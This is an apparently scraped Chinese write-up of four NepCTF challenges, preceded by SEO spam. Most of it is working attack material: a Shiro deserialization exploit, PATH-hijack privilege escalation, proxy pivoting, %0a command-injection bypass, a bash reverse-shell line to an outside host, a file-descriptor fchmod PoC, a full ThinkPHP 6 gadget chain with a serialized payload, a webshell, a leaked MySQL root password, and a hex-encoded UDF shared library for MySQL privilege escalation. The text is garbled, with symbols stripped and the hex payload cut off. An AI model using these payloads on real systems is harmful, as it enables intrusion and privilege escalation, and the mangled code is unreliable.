成都 网站开发公司,网站建设费用计入管理费用的哪个科目,科技公司官网首页,wap网站建设课程要写代码吗目录 1 EZJAVA_CHECKIN(shiro550)
2 独步天下-转生成为镜花水月中的王者(环境变量提权)
3 独步天下-破除虚妄_探见真实(Venom代理ping%0a绕过rcec文件描述符未关闭连接父进程修改文件权限)
4 独步天下-破除试炼_加冕成王(tp6rceu…目录 1 EZJAVA_CHECKIN(shiro550)
2 独步天下-转生成为镜花水月中的王者(环境变量提权)
3 独步天下-破除虚妄_探见真实(Venom代理ping%0a绕过rcec文件描述符未关闭连接父进程修改文件权限)
4 独步天下-破除试炼_加冕成王(tp6rceudf提权) 1 EZJAVA_CHECKIN(shiro550)
shiro 打URLDNS 收到回显 shiro反序列化工具 检测到 --w--w--w- 1 root root 22 Aug 12 08:49 /flag
cat /flag没反应看一下 /flag信息发现没有权限
cat start.sh 得到flag
#/bin/bash export GZCTF_FLAGNepcTF{Ezjava_Chekin} echo $GZCTF_FLAG /flag export GZCTF_FLAGHAHA,NO FLAG but boom. su ctf -c bash -c java -jar /ShiroSpring-0.0.1-SNAPSHOT.jar 2 独步天下-转生成为镜花水月中的王者(环境变量提权)
nc ip port进去之后得到了一个低权限的shell
根据提示环境变量提权
查找具有suid权限的命令 找到了nmap 执行一下 发现nmap会调用 ports-alive
echo /bin/sh /tmp/ports-alive
chmod x /tmp/ports-alive
export PATH/tmp:$PATH
/bin/nmap 1 提权成功
3 独步天下-破除虚妄_探见真实(Venom代理ping%0a绕过rcec文件描述符未关闭连接父进程修改文件权限) 获取root权限之后计划怎么进入内网
ifconfig 发现靶机的ip为 192.168.200.2
同时测试发现存在wget 我们可以在vps部署上http服务
利用wget 下载vps上的文件 例如 fscan
wget http://vps:port/fscan_amd64 下载下来
fscan扫一下内网 发现了192.168.200.1 机器 但是我们不能直接访问到这台机器 因为这是docker容器中的内网环境需要借助 192.168.200.2这台靶机 挂上一个代理访问
这里用的是 venom
下载链接https://github.com/Dliv3/Venom/releases/
利用wget 把agent_linux_64 下载到靶机上
wget http://ip:port/agent_linux_x64
chmod x agent_linux_x64 令vps 作为服务端 监听 1111端口
./admin_linux_x64 -lport 1111 令 靶机作为客户端 向服务端发起连接
./agent_linux_x64 -rhost vps -rport 1111
goto 1 进入到节点已连接的节点
然后 挂一个socks5代理
socks 2222 在服务端即vps的 2222 端口做一个socks5代理
然后代理工具 配置服务端ip:2222即可使用socks代理 然后利用 proxifier连接代理将自己的访问 由代理转发出去
设置 Proxy Server 然后配置 Proxification Rules 代理解析规则
Target Hosts 为 192.168.200.1 即可将自己访问 192.168.200.1的请求通过服务器socks5代理转发过去
访问 192.168.200.1 访问成功
访问 82端口 进入摄像头控制台
其中存在一个 ping 的地方和一个文件上传点
ping这里应该可以利用进行rce经测试 | 等管道符被禁用了 但是可以 %0a绕过
直接 cat /flag_mini 不行 没有权限 继续找找其他地方还有一个文件上传点还没利用 ls 发现了 app.py
cat 得到了 ping和 文件上传两个路由的具体代码实现
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ[FLASK_ENV] production
app Flask(__name__)
app.config[UPLOAD_FOLDER] ./lib_name./libping.so
def load_ping_library():# 加载共享库mylib ctypes.CDLL(lib_name)return mylibmylib load_ping_library()app.route(/)
def index():return render_template(index.html)app.route(/ping, methods[POST])
def ping():global mylibip_address request.form[ip_address]result ctypes.create_string_buffer(4096*2)mylib.ping(ip_address.encode(utf-8), result)return result.value.decode(utf-8)app.route(/upload_avatar, methods[POST])
def upload_avatar():if request.headers.get(X-Forwarded-For) ! 127.0.0.1:return You are not allowed to upload files from this IP address. Your IP is: request.headers.get(X-Forwarded-For)if file not in request.files:return redirect(request.url)file request.files[file]if file.filename :return redirect(request.url)if not allowed_file(file.filename):return Invalid file format. Only PNG files are allowed.# 限制文件大小为 5KBMAX_FILE_SIZE 5 * 1024if len(file.read()) MAX_FILE_SIZE:return File too large. Maximum size is 5KB.# 将文件保存到服务器file.seek(0) # 重置文件读取指针file.save(os.path.join(app.config[UPLOAD_FOLDER], avatar.png))return redirect(url_for(index))def allowed_file(filename):return . in filename and filename.rsplit(., 1)[1].lower() pngif __name__ __main__:app.run(host0.0.0.0,port82,debugFalse,use_reloaderFalse)经过分析文件上传处 检测了XFF头需要XFF为 127.0.0.1 才可以上传文件 同时 上传的文件后缀必须为.png 上传后会保存为 avatar.png 但是对上传文件的内容并没有限制
因此我们可以写一个 python 反弹shell上传搭配ping命令处的 rce 运行即可
import os
os.popen(bash -c bash -i /dev/tcp/ip/port 01).read() 得到 192.168.200.1:82 的shell
查找suid特权文件提权 没有可利用点
ps -aux 看一下当前运行着的程序 发现可疑进程 indentity 该程序在 /app目录下cat 一下 identity.c 分析一下
#define _GNU_SOURCE
#include stdio.h
#include stdlib.h
#include fcntl.h
#include string.h
#include errno.h
#include sched.h
#include unistd.h
#include sys/syscall.h
#include linux/seccomp.h
#include openssl/md5.h
#include sys/resource.h
#include sys/types.h
#include sys/stat.h
#include fcntl.h
#include string.h
#include errno.h
#include sys/ioctl.h
#include net/if.h
#include netinet/in.h
#include arpa/inet.h
#include stdint.h
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {int fdopen(/home/ctf/sandbox/,O_RDONLY);if(fd2) {exit(0);}MD5_CTX ctx;char md5_res[17];char key[100]NEPCTF_6666;char sandbox_dir[100]/home/ctf/sandbox/;char dir_name[100]/home/ctf/sandbox/;FILE *new_pip;int i;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max r.rlim_cur 0;setrlimit(RLIMIT_CORE, r);memset(key, 0, sizeof(key));MD5_Init(ctx);MD5_Update(ctx, key, strlen(key));MD5_Final(md5_res, ctx);for (int i 0; i 16; i) sprintf((dir_name[i*2 18]), %02hhx, md5_res[i]0xff);char cmd[100];mkdir(dir_name, 0755);if (chdir(dir_name)-1) {puts(chdir err, exiting\n);exit(1);}sprintf(cmd,%s%s,chmod 777 ,dir_name);system(cmd);mkdir(bin, 0777);mkdir(lib, 0777);mkdir(lib64, 0777);mkdir(lib/x86_64-linux-gnu, 0777);system(cp /bin/bash bin/sh);system(cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/);system(cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/);system(cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/);system(cp /lib64/ld-linux-x86-64.so.2 lib64/);if (chroot(.) -1) {puts(chroot err, exiting\n);exit(1);}
}
void command(int server_socket,int client_socket) {char buf[0x666];memset(buf,0,0x666);write(client_socket,Tmp-Command:,sizeof(Tmp-Command:));read(client_socket, buf, 0x10);setgid(1001);setuid(1001);popen(buf,w);
}
int get_ip_address(const char *interface_name, char *ip_address) {int sockfd;struct ifreq ifr;// Create a socketsockfd socket(AF_INET, SOCK_DGRAM, 0);if (sockfd 0) {perror(Socket creation failed);return -1;}// Set the interface name in the ifreq structurestrncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);ifr.ifr_name[IFNAMSIZ - 1] \0;// Get the IP address using the SIOCGIFADDR ioctl requestif (ioctl(sockfd, SIOCGIFADDR, ifr) -1) {perror(ioctl failed);close(sockfd);return -1;}close(sockfd);// Convert the binary IP address to a human-readable stringstruct sockaddr_in *addr (struct sockaddr_in *)ifr.ifr_addr;strcpy(ip_address, inet_ntoa(addr-sin_addr));return 0;
}
int main(int argc, char **argv) {init_dir();int flag1;// Server setupint server_socket, client_socket;struct sockaddr_in server_addr, client_addr;socklen_t client_len sizeof(client_addr);// Create socketserver_socket socket(AF_INET, SOCK_STREAM, 0);if (server_socket 0) {perror(Socket creation failed);exit(0);}// Set up server addressmemset(server_addr, 0, sizeof(server_addr));server_addr.sin_family AF_INET;server_addr.sin_addr.s_addr INADDR_ANY;server_addr.sin_port htons(9999);// Bind socket to address and portif (bind(server_socket, (struct sockaddr *)server_addr, sizeof(server_addr)) 0) {perror(Bind failed);exit(0);}// Listen for incoming connectionsif (listen(server_socket, 1) 0) {perror(Listen failed);exit(0);}printf(Server is listening on port 9999...\n);// Accept connection from clientclient_socket accept(server_socket, (struct sockaddr *)client_addr, client_len);if (client_socket 0) {client_socket accept(server_socket, (struct sockaddr *)client_addr, client_len);}char client_ip[INET_ADDRSTRLEN];inet_ntop(AF_INET, client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);printf(Client connected from IP: %s\n, client_ip);char ip_address[INET_ADDRSTRLEN];const char *interface_name eth0;if (get_ip_address(interface_name, ip_address) 0) {printf(IP address of eth0: %s\n, ip_address);} else {printf(Failed to get the IP address of eth0.\n);}while(flag) {if(strcmp(client_ip,ip_address)) {send(client_socket,Only nc by localhost!\n,sizeof(Only nc by localhost!\n),0);exit(0);} else {flag0;}}command(server_socket,client_socket);return 0;
}
根据 boogipop师傅所说利用点在这个地方 这一部分的文件描述符 fd 并没有关闭文件流也没关闭因此是可以连接父进程的openat和fschmod这两个内置函数
利用的话 则是 把下面的c文件编译一下nc进identity 以ctf用户运行然后就可以更改flag_mini的权限为777 不懂c
#include fcntl.h
#include sys/stat.h
#include unistd.h
#include stdio.hint main() {const char* filename ../../../../flag_mini;int fd openat(3, filename, O_CREAT | O_WRONLY);if (fd -1) {// 处理打开文件失败的情况printf(1);}// 更改文件权限为 777if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) -1) {// 处理更改文件权限失败的情况printf(2);}// 使用新文件进行操作...return 0;
} 利用命令写入文件文件的话 可以通过base64
echo I2luY2x1ZGUgPGZjbnRsLmgCiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmgCiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWhS7tuadgmZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9veUqOaWsOaWhS7tui/mihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9 | base64 -d poc.c
gcc编译一下
gcc poc.c -o poc identity.c 源码中提到了
printf(Server is listening on port 9999...\n);printf(IP address of eth0: %s\n, ip_address);
nc进 identity文件
因此 nc etho的ip 9999
运行 ./poc 成功将 /flag_mini文件的权限改为777
再次 cat /flag_mini 即可得到flag 4 独步天下-破除试炼_加冕成王(tp6rceudf提权) 扫端口扫出来 192.168.200.1 的80端口有一个web服务
是一个CMS ZengCMS v1.0.0 搜索该版本有没有在野CVE没发现。但是在项目介绍中提到
ZengCMS是基于最新TP6.0.x框架和Layui2.5.x的后台管理系统 TP6.0.x 有很多条rce链子 我们把ZengCMS 源码下载下来找一找可利用点
后台有个弱口令 admin:123456 访问报错时 露出来了 用到了 tp6.0.5的框架 前段时间刚好审了一个tp6 unserialize rce漏洞 因此我们找一下可以利用的反序列化函数 在 /app/common.php 处 $admin_auth_cookie think_decrypt(cookie(admin_auth_cookie)); 会对cookie里的 admin_auth_cookie字段进行反序列化因此构造一条 tp6的反序列化漏洞即可
但是我们发现 在unserialize()之前会调用 think_decrypt()进行解密 因此我们构造好的 序列化格式数据要通过 think_encrypt() 加密一下 CMS里自带了
这里就不分析函数具体逻辑了直接在本地搭一个生成一下对应的payload 本地搭好之后找一条tp反序列化链 生成base64编码后的序列化数据
?phpnamespace League\Flysystem\Cached\Storage{class Psr6Cache{private $pool;protected $autosave false;public function __construct($exp){$this-pool $exp;}}
}namespace think\log{class Channel{protected $logger;protected $lazy true;public function __construct($exp){$this-logger $exp;$this-lazy false;}}
}namespace think{class Request{protected $url;public function __construct(){$this-url ?php phpinfo(); exit(); ?;}}class App{protected $instances [];public function __construct(){$this-instances [think\Requestnew Request()];}}
}namespace think\view\driver{class Php{}
}namespace think\log\driver{class Socket{protected $config [];protected $app;protected $clientArg [];public function __construct(){$this-config [debugtrue,force_client_ids 1,allow_client_ids [],format_head [new \think\view\driver\Php,display], # 利用类和方法];$this-app new \think\App();$this-clientArg [tabid1];}}
}namespace{$c new think\log\driver\Socket();$b new think\log\Channel($c);$a new League\Flysystem\Cached\Storage\Psr6Cache($b);echo base64_encode(serialize($a));
}
然后在app/admin/controller 添加一个poc.php 里面写入
?php
$a think_encrypt(base64_decode(Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO2E6MDp7fXM6MTE6ImZvcm1hdF9oZWFkIjthOjI6e2k6MDtPOjIxOiJ0aGlua1x2aWV3XGRyaXZlclxQaHAiOjA6e31pOjE7czo3OiJkaXNwbGF5Ijt9fXM6NjoiACoAYXBwIjtPOjk6InRoaW5rXEFwcCI6MTp7czoxMjoiACoAaW5zdGFuY2VzIjthOjE6e3M6MTM6InRoaW5rXFJlcXVlc3QiO086MTM6InRoaW5rXFJlcXVlc3QiOjE6e3M6NjoiACoAdXJsIjtzOjI3OiI8P3BocCBwaHBpbmZvKCk7IGV4aXQoKTsgPz4iO319fXM6MTI6IgAqAGNsaWVudEFyZyI7YToxOntzOjU6InRhYmlkIjtzOjE6IjEiO319czo3OiIAKgBsYXp5IjtiOjA7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7fQ));
var_dump($a);
把生成的payload 放到cookie里的 admin_auth_cookie字段里访问
写入一个 phpinfo() 发现可以 写入一句话木马 蚁剑连接
由于第二个flag是 mysql 用户的我们去找一下mysql的配置文件
在 /var/www/html/config/database.php 得到mysql账号密码 root:456456zxc123666
?php
use think\facade\Env;return [// 默认使用的数据库连接配置default Env::get(database.driver, mysql),// 自定义时间查询规则time_query_rule [],// 自动写入时间戳字段// true为自动识别类型 false关闭// 字符串则明确指定时间字段类型 支持 int timestamp datetime dateauto_timestamp true,// 时间字段取出后的默认时间格式datetime_format Y-m-d H:i:s,// 数据库连接配置信息connections [mysql [// 数据库类型type Env::get(database.type, mysql),// 服务器地址hostname Env::get(database.hostname, 127.0.0.1),// 数据库名database Env::get(database.database, zengcms),// 用户名username Env::get(database.username, root),// 密码password Env::get(database.password, 456456zxc123666),// 端口hostport Env::get(database.hostport, 3306),// 数据库连接参数params [],// 数据库编码默认采用utf8charset Env::get(database.charset, utf8),// 数据库表前缀prefix Env::get(database.prefix, hh_),// 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)deploy 0,// 数据库读写是否分离 主从式有效rw_separate false,// 读写分离后 主服务器数量master_num 1,// 指定从服务器序号slave_no ,// 是否严格检查字段是否存在fields_strict true,// 是否需要断线重连break_reconnect false,// 监听SQLtrigger_sql true,// 开启字段缓存fields_cache false,// 字段缓存路径schema_cache_path app()-getRuntimePath() . schema . DIRECTORY_SEPARATOR,],// 更多的数据库配置信息],
];
这里需要利用 mysql udf提权
mysql UDF提权介绍
UDFUser-Defined Function提权指的是通过在MySQL数据库中编写自定义函数UDF的方式实现在MySQL数据库中提升权限的方法
我们需要写一个plugin进去但是不能直接写进去因为plugin目录没权限写 但是由于当前我们有root权限的数据库用户我们可以使用select into dumpfile的形式写入 当以 root 用户身份执行 SELECT INTO DUMPFILE 查询时它将绕过文件权限检查并允许将查询结果写入任何有效的文件路径中即使该路径对 mysql 用户是无法写入的。 请注意使用 root 用户执行此操作需要格外小心因为它会绕过一些安全限制。确保仅允许可信任的用户以 root 权限执行此操作并且仅指定安全的文件路径
mysql -uroot -p456456zxc123666 -e SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d016000000000000180000000000000000000000000000000800